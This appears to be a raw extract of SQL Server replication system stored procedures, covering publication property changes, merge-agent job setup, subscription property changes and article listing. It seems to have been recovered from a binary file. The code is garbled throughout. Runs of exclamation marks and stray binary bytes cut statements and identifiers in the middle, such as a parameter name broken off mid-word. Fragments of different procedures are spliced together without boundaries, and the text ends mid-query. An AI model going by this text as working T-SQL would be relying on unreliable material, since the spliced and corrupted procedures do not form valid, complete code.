                                ,@distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + 
                                            N'.dbo.sp_MSchange_publication'

                        EXECUTE @retcode = @distproc
                                        @publisher = @publisher_local,
                                        @publisher_db = @dbname,
                                        @publication = @publication,
                                        @property = @property,
                                        @value = @queue_type

                        IF @@ERROR <> 0 OR @retcode <> 0
                        BEGIN
                            GOTO UNDO
                        END
                    end
                END
            END         
        END
    END

	IF @property IN (N'enabled_for_p2p')
    BEGIN
    	DECLARE @current_db_version int,
    			@art_name sysname,
    			@art_objid int,
    			@art_schema_option binary(8),
    			@art_colname sysname,
    			@art_status int,
    			@prop_change bit

		-- Verify SQL Server edition
		-- Peer-To-Peer is restricted to Enterprise and Developer editions
		IF (@publisher_engine_edition not in (30,31))
		BEGIN
			DECLARE @edition sysname
			SELECT @edition = CONVERT(sysname, SERVERPROPERTY('Edition'))

			RAISERROR(20816, 16, -1, @edition)
			GOTO UNDO
		END
    	  
    	-- lower value
    	SELECT @value = LOWER(@value collate SQL_Latin1_General_CP1_CS_AS)

		IF NOT @publisher_type = N'MSSQLSERVER'
    	BEGIN
    		-- enabled_for_p2p is not supported for heterogeneous publications, must be false.
    		RAISERROR (21632, 16, -1, '@enabled_for_p2p', 'false')
    		GOTO UNDO
    	END
    	
		IF @value NOT IN (N'true', 
							N'false')
		BEGIN
			-- The @value parameter value must be either 'true' or 'false'.
		    RAISERROR (14137, 16, -1)
		    GOTO UNDO
		END
    	
		-- Only unsubscribed publications may have this modified.
        IF EXISTS (SELECT * 
        			FROM syssubscriptions s
                   		INNER JOIN sysextendedarticlesview a 
                   		ON s.artid = a.artid
                    WHERE s.srvid >= 0 
                      AND a.pubid = @pubid)
        BEGIN
			-- The publication property 'enabled_for_p2p' cannot be changed when there are subscriptions on it.
            RAISERROR (20013, 16, -1, @property)
            GOTO UNDO
        END

		IF @value = N'false'
		BEGIN
    		-- if it is set to true and you are attempting to set it back to false raise error 
    		IF (@options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
			BEGIN
				-- The property '%s' cannot be changed to '%s' once the value has already been set to '%s'.
				RAISERROR(21850, 16, 1, 'enabled_for_p2p', 'false', 'true')
				GOTO UNDO
			END
			
			-- we are setting it to false but it's already false 
			GOTO COMMIT_TRAN_SUCCESS
    	END

		--
		-- When we get here then this means that @value = N'true'
		--

		-- if it is already set to true then there is nothing to do
		IF (@options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
		BEGIN
			GOTO COMMIT_TRAN_SUCCESS
		END

		-- set the dbname and the p2p bit to on
		SELECT @dbname = DB_NAME(),
				 @options = @options | @OPT_ENABLED_FOR_P2P
				 
		-- retrieve the current database version
    	EXEC @retcode = sys.sp_MSgetdbversion @current_version = @current_db_version output
		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
			GOTO UNDO
		END

		IF @replicate_ddl != 1
		BEGIN
			 -- Parameter N'enabled_for_p2p' can only be set to N'true' when 'replicate_ddl' is set to '1'.
	        RAISERROR(21678, 16, -1, N'enabled_for_p2p', N'true', N'replicate_ddl', '1')
	        GOTO UNDO
		END
		
		IF @syncmethodid != 0
		BEGIN
			EXEC @retcode = sys.sp_MSrepl_changepublication @publication = @publication,
															@property = 'sync_method',
															@value = 'native',
															@force_invalidate_snapshot = @force_invalidate!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<`	o,{_subdirectory = NULL,
			ftp_login = NULL,
			ftp_password = NULL,
			allow_subscription_copy = 0,
			conflict_policy = NULL,
			centralized_conflicts = 0,
			conflict_retention = NULL,
			queue_type = NULL,
			allow_initialize_from_backup = 0,
			replicate_ddl = 0,
		-- The sync_method for SQL Server publications and Oracle snapshot
		-- publications is set to 'character' and the sync_method of Oracle transactional
		-- publications is set to 'concurrent_c'.
			sync_method =		CASE	WHEN NOT @publisher_type = N'MSSQLSERVER' AND @repl_freq = 0 THEN 4
										ELSE 1
								END			
        WHERE pubid = @pubid
        IF @@ERROR <> 0 GOTO UNDO
            
        -- In addition, the publication articles need to be changed so that they are also
        -- suitable for heterogeneous subscriptions.
        EXECUTE @retcode = sys.sp_MSrepl_enable_articles_for_het_sub
								@publication	= @publication,
								@publisher		= @publisher,
								@publisher_type	= @publisher_type
								,@mode = 0  -- enable
											
		IF @@ERROR <> 0 OR @retcode <> 0
			GOTO UNDO
	END
	
	-- When changing the publication to not support heterogeneous subscriptions, 
	-- only the options column is cleared.  
	IF @property = 'enabled_for_het_sub' and
		LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'false'
	BEGIN
		UPDATE syspublications
		SET options = 0
        WHERE pubid = @pubid
        IF @@ERROR <> 0 GOTO UNDO

        -- In addition, clear nonsqlsub bits for columns in this pub so SQL only syntax is allowed
        EXECUTE @retcode = sys.sp_MSrepl_enable_articles_for_het_sub
								@publication	= @publication,
								@publisher		= @publisher,
								@publisher_type	= @publisher_type
								,@mode = 1  -- disable
											
		IF @@ERROR <> 0 OR @retcode <> 0
			GOTO UNDO

	END
    
    -- Have to call this stored procedure to invalidate existing snapshot or reint
    -- subscriptions if needed
    EXECUTE @retcode =	sys.sp_MSreinit_article
						@publication				= @publication, 
						@need_new_snapshot			= @need_new_snapshot,
						@need_reinit_subscription	= @need_reinit_subscription,
						@force_invalidate_snapshot	= @force_invalidate_snapshot,
						@force_reinit_subscription	= @force_reinit_subscription,
						@publisher					= @publisher,
						@publisher_type				= @publisher_type

    IF @@ERROR <> 0 OR @retcode <> 0
        GOTO UNDO

    COMMIT TRAN sp_changepublication

    /*
    ** Return succeed.
    */
    RAISERROR (14077, 10, -1)
    RETURN (0)    
COMMIT_TRAN_SUCCESS:
	COMMIT TRAN sp_changepublication

	-- The publication was updated successfully.
    RAISERROR (14077, 10, -1)
    
	RETURN (0)
FAILURE:
    
    raiserror(21371, 10, -1, @publication)
    return (1)   

UNDO:
    IF @@TRANCOUNT > 0
    begin 
        ROLLBACK TRAN sp_changepublication
        COMMIT TRAN
    end

    RETURN (1)
END
b
bte that we only raise the warning when called from 
				-- 'PRE-YUKON' code. when called from 'YUKON ADD AGENT' the 
				-- warning is not needed since it that case it was not implicit
				IF @internal = N'PRE-YUKON'
				BEGIN
					-- Warning: The merge agent job has been implicitly created and will run under the SQL Server Agent Service Account.
					RAISERROR(21452, 10, -1, 'merge')
				END
			end
			else
			begin
				select @merge_jobid = sjv.job_id,
						@merge_job_step_uid = sjs.step_uid
				from msdb.dbo.sysjobs_view as sjv
					join msdb.dbo.sysjobsteps as sjs
						on sjv.job_id = sjs.job_id
				where sjv.name = @name
					and sjv.master_server = 0
					and UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
					and sjv.category_id = 14
					and sjs.subsystem = N'Merge'
					and sjs.database_name = db_name()
				
				if @merge_jobid IS NULL
				begin
					-- Message from msdb.dbo.sp_verify_job_identifiers
					RAISERROR(14262, -1, -1, 'Merge Job', @name)          
					GOTO UNDO
				end
			end
	    END
	    ELSE 
	    BEGIN
	        -- Generate a job GUID for remote agents. This will be used by the UI to uniquely
	        -- identify rows returned by the enums
	        set @merge_jobid = newid();
	        set @merge_job_step_uid = NULL
	    END
	END
    ELSE 
    BEGIN
    	-- Generate a job GUID even when we haven't created the job agent. This 
    	-- will be used by the UI to uniquely identify rows returned by the enums
	    SELECT @merge_jobid = newid(),
        			@merge_job_step_uid = NULL
    END
            
    UPDATE dbo.MSmerge_agents 
    	SET name = ISNULL(@name, N''),
        	job_id = @merge_jobid,
        	job_step_uid = @merge_job_step_uid
        WHERE id = @agent_id
    IF @@ERROR <> 0
        GOTO UNDO
	
    COMMIT TRANSACTION tr_add_merge_agent

    RETURN(0)

UNDO:

	if @@trancount > 0
	begin
		ROLLBACK TRANSACTION tr_add_merge_agent
		COMMIT TRANSACTION
	end
	
    RETURN(1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(a>}vTtCREATE PROCEDURE sys.sp_MSrepl_changesubscription 
(
    @publication 	sysname,
    @article		sysname,
    @subscriber 	sysname,
    @destination_db	sysname,
    @property 		nvarchar(30),      
    @value 			nvarchar(4000),
    @publisher		sysname,
    @publisher_type	sysname
) 
AS
BEGIN
	SET NOCOUNT ON
	
	DECLARE @SUBSCRIBER_BIT		int
	
	DECLARE @retcode 				int,
			@publisher_db			sysname,
			@pubid					int,
			@artid					int,
			@subscription_type_id	int,
			@update_mode_id			int,
			@distproc 				nvarchar(1000),
			@distributor 			sysname, 
			@distribution_db 		sysname,
			@options				int,
			@OPT_ENABLED_FOR_HET_SUB int,
			@odbc_subscriber		tinyint,
			@oledb_subscriber		tinyint,
			@independent_agent		bit,
			@distagent_exists		bit,
			@proxy_id				int
			
	SELECT	@odbc_subscriber = 1
	SELECT	@oledb_subscriber = 3

	SELECT @SUBSCRIBER_BIT = 4
	SELECT @OPT_ENABLED_FOR_HET_SUB = 0x4

	SELECT @publisher_db = DB_NAME()
				,@property = LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) 
			
	-- Security Check
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RETURN 1
    END

    -- Check to see if the database has been activated for publication.
    IF sys.fn_MSrepl_istranpublished(@publisher_db,1) <> 1
    BEGIN
        -- "This database is not enabled for publication."
        RAISERROR (14013, 16, -1)
        RETURN 1
    END

	-- Parameter Check:  @publication.
    IF @publication IS NULL
    BEGIN
    	-- "The parameter @publication cannot be NULL."
        RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_changesubscription')
        RETURN 1
    END
    
    EXEC @retcode = sys.sp_validname @publication
    IF @@ERROR <> 0 OR @retcode <> 0
    	RETURN 1

    -- Parameter Check : @publisher
    IF @publisher IS NULL
    BEGIN
		select @publisher = publishingservername()
    END

	-- Get publication id
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	IF (@pubid IS NULL)
	BEGIN
		-- "The publication '@publication' does not exist."
	    RAISERROR (20026, 16, -1, @publication)
	   	RETURN 1
	END

	-- retrieve the independent agent setting
	SELECT @independent_agent = independent_agent
		FROM syspublications
		WHERE pubid = @pubid
	
	-- check to see if the subscription exists
	IF NOT EXISTS
	(
		SELECT	ss.*
		FROM	syspublications sp,
				sysextendedarticlesview seav,
				syssubscriptions ss
		WHERE	ss.srvname = UPPER(@subscriber)
			and (ss.srvname is not null and len(ss.srvname)> 0)
			AND	ss.dest_db = @destination_db
		  AND	(seav.name = @article OR lower(@article) = 'all')
		  AND	sp.pubid = @pubid
		  AND	sp.pubid = seav.pubid
		  AND	ss.artid = seav.artid
	)
	BEGIN
		-- "The subscription could not be found."
		RAISERROR (20021, 16, -1)
		RETURN 1
	END
                      
    -- Parameter Check:  @property.
	IF @property IS NULL 
		OR @property NOT IN ('subscriber_security_mode', 
								'subscriber_login', 
								'subscriber_password',
								'subscriptionstreams',
								'distrib_job_login', 
								'distrib_job_password',
								'subscriber_type',
								'subscriber_provider',
								'subscriber_datasource',
								'subscriber_providerstring',
								'subscriber_location',
								'subscriber_catalog')
    BEGIN
    	-- Invalid property name '@property'.
    	SELECT @property = isnull(@property, 'NULL')
    	
        RAISERROR (21183, 16, -1, @property)
        RETURN 1
    END
	  
	-- retrieve the subscription type
	SELECT	@subscription_type_id = ss.subscription_type,
			@update_mode_id = ss.update_mode,
			@options = sp.options
	FROM	syspublications sp,
			sysextendedarticlesview seav,
			syssubscriptions ss
	WHERE	ss.srvname = UPPER(@subscriber)
		and (ss.srvname is not null and len(ss.srvname)> 0)
		AND	ss.dest_db = @destination_db
	  AND	(seav.name = @article OR lower(@article) = 'all')
	  AND	sp.pubid = @pubid
	  AND	sp.pubid = seav.pubid
	  AND	ss.artid = seav.artid
	    
	-- retrieve distributor rpc info
    EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, 
    										@distribdb = @distribution_db OUTPUT,
    										@publisher = @publisher
	IF @@ERROR <> 0 or @retcode <> 0 or @distributor is NULL
	BEGIN
		-- "The Distributor has not been installed correctly."
		RAISERROR (20036, 16, -1)
		RETURN 1
	END

	-- we only need to check if we have enough permissions to modify
	-- subscription properties for push cases since well known pull 
	-- subscriptions will never have jobs at the distributor...
	IF @subscription_type_id = 0
	BEGIN
		-- make sure we have permission to perform this action
		SELECT @distproc =  QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSreplagentjobexists'
		EXEC @retcode = @distproc @type = 0,
									@exists = @distagent_exists output,
									@proxy_id = @proxy_id output,
									@publisher = @publisher,
									@publisher_db = @publisher_db,
									@publication = @publication,
									@subscriber = @subscriber,
									@subscriber_db = @destination_db,
									@independent_agent = @independent_agent				
		IF @retcode <> 0 OR @@ERROR <> 0
			RETURN 1

		IF IS_SRVROLEMEMBER('sysadmin') != 1
			AND (@distagent_exists = 0
				OR @proxy_id IS NULL)
		BEGIN
			-- Only members of the sysadmin fixed server role can modify a subscription that does not have a job with a proxy account defined.
			RAISERROR(20813, 16, -1, 'subscription')
			RETURN 1
		END
	END
	
	BEGIN TRANSACTION tran_sp_changesubscription
	SAVE TRANSACTION tran_sp_changesubscription

    -- Begin Making Changes
	IF @property in ('subscriber_security_mode', 'subscriber_login', 'subscriber_password')
	BEGIN
		-- Param check for @subscriber_... settings.
		-- These are not valid for pull subscriptions unless Queued is involved
		IF @subscription_type_id = 1 AND @update_mode_id in (0, 1)
		BEGIN
			-- "The property '@property' is only valid for push subscriptions and pull subscriptions involved in Queued."
			RAISERROR (21819, 16, -1, @property)
			goto UNDO
		END
		
		-- these properties require that the article be set to 'all'
		IF lower(@article) <> N'all' or @article IS NULL
		BEGIN
			-- "An invalid value was specified for parameter '@article'. The value must be 'all' when changing this property."
			RAISERROR (21816, 16, -1, '@article', 'all')
			goto UNDO
		END

		SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSchange_distribution_agent_properties'	
		EXEC @retcode = @distproc @publisher		= @publisher,
									@publisher_db	= @publisher_db,
									@publication 	= @publication,
									@subscriber 	= @subscriber,
									@subscriber_db	= @destination_db,
									@property		= @property,
									@value			= @value
		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
			goto UNDO
		END
	END

	IF @property in ('distrib_job_login', 'distrib_job_password')
	BEGIN
		-- Param check for @subscriber_... settings.
		-- These are not valid for pull subscriptions
		IF @subscription_type_id != 0
		BEGIN
			-- "The property '@property' is only valid for push subscriptions. Use 'sp_change_subscription_properties' for pull subscriptions."
			RAISERROR (21826, 16, -1, @property, 'push', 'sp_change_subscription_properties', 'pull')
			goto UNDO
		END
		
		-- these properties require that the article be set to 'all'
		IF lower(@article) <> N'all' or @article IS NULL
		BEGIN
			-- "An invalid value was specified for parameter '@article'. The value must be 'all' when changing this property."
			RAISERROR (21816, 16, -1, '@article', 'all')
			goto UNDO
		END
		
		-- Parameter Check: @distrib_job_login
		IF @property in ('distrib_job_login')
		BEGIN
			IF sys.fn_replisvalidwindowsloginformat(@value) != 1
			BEGIN
				-- '@job_logi!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<,
b>YrTtn' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_changesubscription'.
				RAISERROR(21797, 16, -1, '@value (distrib_job_login)', 'sp_changesubscription')
				goto UNDO
			END
		END
		
		IF @property in ('distrib_job_password')
		BEGIN
			-- Parameter Check: distrib_job_password
			IF @value IS NULL
			BEGIN
				-- The parameter @value (distrib_job_password) cannot be NULL.
				RAISERROR(14043, 16, -1, '@value (distrib_job_password)', 'sp_MSrepl_changesubscription')
				goto UNDO
			END
		END

		SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSchange_distribution_agent_properties'	
		EXEC @retcode = @distproc @publisher		= @publisher,
									@publisher_db	= @publisher_db,
									@publication 	= @publication,
									@subscriber 	= @subscriber,
									@subscriber_db	= @destination_db,
									@property		= @property,
									@value			= @value
		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
			goto UNDO
		END
	END
	
	IF @property in ('subscriber_type', 'subscriber_provider', 'subscriber_datasource', 'subscriber_providerstring', 'subscriber_location', 'subscriber_catalog')
	BEGIN
		-- Param check for @subscriber_... settings.
		-- These are not valid for pull subscriptions
		IF @subscription_type_id != 0
		BEGIN
			-- "The property '@property' is only valid for push subscriptions. Use 'sp_change_subscription_properties' for pull subscriptions."
			RAISERROR (21826, 16, -1, @property, 'push', 'sp_change_subscription_properties', 'pull')
			goto UNDO
		END
		
		-- these properties require that the article be set to 'all'
		IF lower(@article) <> N'all' or @article IS NULL
		BEGIN
			-- "An invalid value was specified for parameter '@article'. The value must be 'all' when changing this property."
			RAISERROR (21816, 16, -1, '@article', 'all')
			goto UNDO
		END
		
		-- Parameter Check: subscriber_type
		IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) in ('subscriber_type')
		BEGIN
			IF NOT ((@options & @OPT_ENABLED_FOR_HET_SUB) = @OPT_ENABLED_FOR_HET_SUB)
			BEGIN
				-- The 'subscriber_type' property can only be changed if the publication is enabled for heterogeneous subscriptions.  The publication is not enabled.
				RAISERROR(14041, 16, -1, @property)
				goto UNDO
			END
		
			IF @value IS NULL OR @value NOT IN ( @odbc_subscriber, @oledb_subscriber )
			BEGIN
				-- The value of property 'subscriber_type' is not a supported heterogeneous subscriber type.  The value must be 1 (ODBC subscriber), or 3 (OLEDB subscriber).
				RAISERROR(14026, 16, -1)
				goto UNDO
			END
		END
		
		-- Parameter Check: subscriber_provider
		IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) in ('subscriber_provider')
		BEGIN
			IF NOT ((@options & @OPT_ENABLED_FOR_HET_SUB) = @OPT_ENABLED_FOR_HET_SUB)
			BEGIN
				-- The 'subscriber_provider' property can only be changed if the publication is enabled for heterogeneous subscriptions.  The publication is not enabled.
				RAISERROR(14041, 16, -1, @property)
				goto UNDO
			END
		
			IF @value IS NULL 
			BEGIN
				-- The value of property 'subscriber_provider' cannot be NULL.
				RAISERROR(14024, 16, -1)
				goto UNDO
			END
		END
		
		-- Parameter Check: subscriber_datasource, subscriber_providerstring,
		-- subscriber_location, and subscriber_catalog
		IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) IN ('subscriber_datasource', 'subscriber_providerstring', 'subscriber_location', 'subscriber_catalog')
		BEGIN
			IF NOT ((@options & @OPT_ENABLED_FOR_HET_SUB) = @OPT_ENABLED_FOR_HET_SUB)
			BEGIN
				-- The '%s' property can only be changed if the publication is enabled for heterogeneous subscriptions.  The publication is not enabled.
				RAISERROR(14041, 16, -1, @property)
				goto UNDO
			END
		END

		SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSchange_distribution_agent_properties'	
		EXEC @retcode = @distproc @publisher		= @publisher,
									@publisher_db	= @publisher_db,
									@publication 	= @publication,
									@subscriber 	= @subscriber,
									@subscriber_db	= @destination_db,
									@property		= @property,
									@value			= @value
		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
			goto UNDO
		END
	END

	IF @property in ('subscriptionstreams')
	BEGIN
		-- these properties require that the article be set to 'all'
		IF lower(@article) <> N'all' or @article IS NULL
		BEGIN
			-- "An invalid value was specified for parameter '@article'. The value must be 'all' when changing this property."
			RAISERROR (21816, 16, -1, '@article', 'all')
			goto UNDO
		END
		
		SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSchange_distribution_agent_properties'	
		EXEC @retcode = @distproc @publisher		= @publisher,
									@publisher_db	= @publisher_db,
									@publication 	= @publication,
									@subscriber 	= @subscriber,
									@subscriber_db	= @destination_db,
									@property		= @property,
									@value			= @value
		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
			goto UNDO
		END
	END
	
	COMMIT TRANSACTION tran_sp_changesubscription

	
	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tran_sp_changesubscription
	COMMIT TRANSACTION

	RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(cL?_v
create procedure sys.sp_MSrepl_helparticle 
(
    @publication	sysname,
    @article		sysname,
    @returnfilter	bit,
    @publisher		sysname,
    @found			int  OUTPUT,
    @rmo			bit = 0
)
as
begin
    SET NOCOUNT ON
    set DEADLOCK_PRIORITY LOW

    /*
    ** Declarations.
    */

    DECLARE @pubid int
                ,@retcode int
                ,@subscriber_bit smallint
                ,@publish_bit int
                ,@source_object  sysname
                ,@source_owner   sysname
                ,@username sysname
                ,@objid int
                ,@artid int
                ,@identitycolname sysname
                ,@identityrangemanagementoption int
                ,@OPT_ENABLED_FOR_P2P int
    
    SELECT @publish_bit = 1
                ,@subscriber_bit = 4
                ,@username = suser_sname()
                ,@OPT_ENABLED_FOR_P2P = 0x1
                ,@found = 0

    /*
    ** Parameter Check:  @publication.
    ** Check to make sure that publication exists.
    */

    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_helparticle')
        RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @publication
    IF @retcode <> 0
        RETURN (1)

    /*
    ** Security Check. Restrict to 'sysadmin', DBO of publishing database, PAL
    */
    IF is_member(N'db_owner') <> 1
    BEGIN
        exec @retcode = sys.sp_MSreplcheck_pull
            @publication = @publication,
            @given_login = @username
        IF @retcode <> 0 OR @@error <> 0
            RETURN (1)
    END
        
    /*
    ** Check if the database is published.
    */
    -- Error Message not raised due to possible information disclosure vuln.
    IF NOT EXISTS (SELECT * FROM master.dbo.sysdatabases
        WHERE name = db_name() collate database_default
        AND (category & @publish_bit) = @publish_bit)
	RETURN(0)

	/*
	**	Publication parameter check
	*/
    IF NOT EXISTS (SELECT * FROM syspublications WHERE name = @publication)
    BEGIN
        RAISERROR (20026, 11, -1, @publication)
        RETURN (1)
    END
    /*
    ** Initializations.
    */
    IF @publication IS NOT NULL
        SELECT @pubid = pubid FROM syspublications WHERE name = @publication

    /*
    ** Create a temporary table to hold all information.
    */

    CREATE TABLE #tab1
    (
        artid               			int             NOT NULL,
        creation_script     			nvarchar(255)   collate database_default null,
        del_cmd             			nvarchar(255)   collate database_default null,
        description         			nvarchar(255)   collate database_default null,
        dest_table          			sysname         collate database_default null,
        old_filter          			int             NULL,
        ins_cmd             			nvarchar(255)   collate database_default null,
        name                			sysname         collate database_default not null,
        objid               			int             NOT NULL,
        pubid               			int             NOT NULL,
        status              			int         	NOT NULL,
        sync_objid          			int             NULL,
        type                			smallint        NOT NULL,
        upd_cmd             			nvarchar(255)   collate database_default null,
        source_table        			nvarchar(300)   collate database_default null,      /* converted from objid */
        filter              			nvarchar(300)   collate database_default null,      /* converted from old_filter */
        sync_object         			nvarchar(300)   collate database_default null,      /* converted from sync_objid */
        vpartition          			bit             NULL,      /* computed */
        pre_creation_cmd    			tinyint     	NOT NULL,
        filter_clause       			ntext           NULL,
        schema_option       			binary(8)       NULL,
        dest_owner          			sysname         collate database_default null,
        source_owner        			sysname         collate database_default null,   /* these two columns are for 7.0 use only */
        unqua_source_object 			sysname         collate database_default null,   /* column source_table stays due to backward compatibility */
        sync_object_owner   			sysname         collate database_default null,
        unqua_sync_object   			sysname         collate database_default null,
        filter_owner        			sysname         collate database_default null,
        unqua_filter        			sysname         collate database_default null,
        identityrangemanagementoption	int				null,
        IsArtSchemaBound				bit				null,
        fire_triggers_on_snapshot		bit       		not null
    )

    CREATE UNIQUE INDEX idx1 ON #tab1 (name, pubid)

    /*
    ** Parameter Check:  @article.
    ** Check to make sure that the article exists, that it conforms
    ** to the rules for identifiers, and that it isn't NULL.
    */

    IF @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@article', 'sp_MSrepl_helparticle')
        RETURN (1)
    END

    IF @article <> '%'
    BEGIN
        /*
        EXECUTE @retcode = sys.sp_validname @article

        IF @retcode <> 0
        RETURN (1)
        */

        IF NOT EXISTS
        (
        	SELECT	*
			FROM	sysextendedarticlesview
			WHERE	name = @article
			  AND	pubid IN
			  		(
			  			SELECT	pubid
			          	FROM	syspublications
			         	WHERE	name = @publication
			         )
		)
        BEGIN
            RAISERROR (20027, 11, -1, @article)
            RETURN (1)
        END
    END

    -- Only attempt to get an application lock if the caller is 
    -- db_owner as the intention of the lock is for coordinating between
    -- the snapshot agent (db_owner) and ddl replication (requires db_owner
    -- via sp_MSprep_exclusive)
    IF is_member(N'db_owner') = 1
    BEGIN
        EXEC sys.sp_getapplock @Resource = @publication, 
                @LockMode = N'Shared', 
                @LockOwner = N'Session',
                @DbPrincipal = N'db_owner'
    END
        
    IF @returnfilter = 1
    BEGIN
        INSERT INTO #tab1 (artid, creation_script, del_cmd,
                           description, dest_table, old_filter,
                           ins_cmd, name, objid, pubid, status,
                           sync_objid, type, upd_cmd, source_table,
                           filter, vpartition, pre_creation_cmd,
               filter_clause, schema_option, dest_owner, source_owner, unqua_source_object, 
               sync_object_owner, unqua_sync_object, filter_owner, unqua_filter, fire_triggers_on_snapshot)
               
         (SELECT artid, creation_script, del_cmd, a.description,
                 dest_table, filter, ins_cmd, a.name, objid, a.pubid,
                 a.status, sync_objid, a.type, upd_cmd, NULL, NULL, 0,
                a.pre_creation_cmd, a.filter_clause, a.schema_option, a.dest_owner, 
                schema_name(o.schema_id), o.name, 
                schema_name(sync.schema_id), sync.name,
                schema_name(fltr.schema_id), fltr.name,
                a.fire_triggers_on_snapshot
            FROM syspublications b, 
                 sys.objects o, 
                 sysextendedarticlesview a
          LEFT JOIN sys.objects sync on a.sync_objid = sync.object_id
          LEFT JOIN sys.objects fltr on a.filter = fltr.object_id
           WHERE ((@article = N'%') or (a.name = @article))
             AND a.objid = o.object_id
             AND a.pubid = b.pubid
             AND b.name = @publication)
    END
    ELSE
    BEGIN
        INSERT INTO #tab1 (artid, creation_script, del_cmd,
                           description, dest_table, old_filter,
                           ins_cmd, name, objid, pubid, status,
                           sync_objid, type, upd_cmd, source_table,
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(dL?
kv                    filter, vpartition, pre_creation_cmd,
               filter_clause, schema_option, dest_owner, source_owner, unqua_source_object, 
               sync_object_owner, unqua_sync_object, filter_owner, unqua_filter, fire_triggers_on_snapshot)
         (SELECT artid, creation_script, del_cmd, a.description,
                 dest_table, filter, ins_cmd, a.name, objid, a.pubid,
                 a.status, sync_objid, a.type, upd_cmd, NULL, NULL, 0,
                 a.pre_creation_cmd, NULL, schema_option, dest_owner, 
